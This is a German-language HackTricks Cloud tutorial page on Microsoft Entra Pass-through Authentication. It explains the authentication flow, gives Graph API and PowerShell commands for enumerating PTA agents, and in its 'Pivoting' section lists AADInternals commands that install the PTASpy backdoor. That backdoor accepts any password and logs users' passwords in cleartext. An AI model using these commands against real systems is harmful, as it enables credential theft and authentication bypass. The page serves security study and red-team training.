Az - PTA - Pass-through Authentication
Reading time: 5 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundinformationen
Aus den Dokumenten: Microsoft Entra Pass-Through-Authentifizierung ermöglicht es Ihren Benutzern, sich mit denselben Passwörtern sowohl bei lokalen als auch bei cloudbasierten Anwendungen anzumelden. Diese Funktion bietet Ihren Benutzern ein besseres Erlebnis - ein Passwort weniger zu merken, und senkt die IT-Hilfe-Kosten, da Ihre Benutzer weniger wahrscheinlich vergessen, wie sie sich anmelden. Wenn sich Benutzer mit Microsoft Entra ID anmelden, validiert diese Funktion die Passwörter der Benutzer direkt gegen Ihr lokales Active Directory.
In PTA werden Identitäten synchronisiert, aber Passwörter nicht, wie bei PHS.
Die Authentifizierung wird im lokalen AD validiert und die Kommunikation mit der Cloud erfolgt über einen Authentifizierungsagenten, der auf einem lokalen Server läuft (er muss nicht auf dem lokalen DC sein).
Authentifizierungsfluss
.png)
- Um sich anzumelden, wird der Benutzer zu Azure AD umgeleitet, wo er den Benutzernamen und das Passwort sendet.
- Die Anmeldeinformationen werden verschlüsselt und in einer Warteschlange in Azure AD gesetzt.
- Der lokale Authentifizierungsagent sammelt die Anmeldeinformationen aus der Warteschlange und entschlüsselt sie. Dieser Agent wird als "Pass-Through-Authentifizierungsagent" oder PTA-Agent bezeichnet.
- Der Agent validiert die Anmeldeinformationen gegen das lokale AD und sendet die Antwort zurück an Azure AD, die, wenn die Antwort positiv ist, die Anmeldung des Benutzers abschließt.
warning
Wenn ein Angreifer die PTA kompromittiert, kann er alle Anmeldeinformationen aus der Warteschlange sehen (im Klartext).
Er kann auch beliebige Anmeldeinformationen für AzureAD validieren (ähnlicher Angriff wie bei Skeleton Key).
Aufzählung
Von Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Überprüfen Sie, ob der Agent auf dem On-Prem-Server ausgeführt wird:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Wenn Sie Admin-Zugriff auf den Azure AD Connect-Server mit dem PTA-Agenten haben, können Sie das AADInternals-Modul verwenden, um eine Hintertür einzufügen, die ALLE Passwörter validiert, die eingegeben werden (so dass alle Passwörter für die Authentifizierung gültig sind):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
Wenn die Installation fehlschlägt, liegt das wahrscheinlich an fehlenden Microsoft Visual C++ 2015 Redistributables.
Dieses Backdoor wird:
- Einen versteckten Ordner
C:\PTASpyerstellen - Eine
PTASpy.dllnachC:\PTASpykopieren PTASpy.dllin den ProzessAzureADConnectAuthenticationAgentServiceinjizieren
note
Wenn der AzureADConnectAuthenticationAgent-Dienst neu gestartet wird, wird PTASpy „entladen“ und muss neu installiert werden.
caution
Nachdem GA-Rechte in der Cloud erlangt wurden, ist es möglich, einen neuen PTA-Agenten zu registrieren und die vorherigen Schritte zu wiederholen, um mit jedem Passwort zu authentifizieren und auch die Passwörter im Klartext zu erhalten.
Seamless SSO
Es ist möglich, Seamless SSO mit PTA zu verwenden, das anfällig für andere Missbräuche ist. Überprüfen Sie es in:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud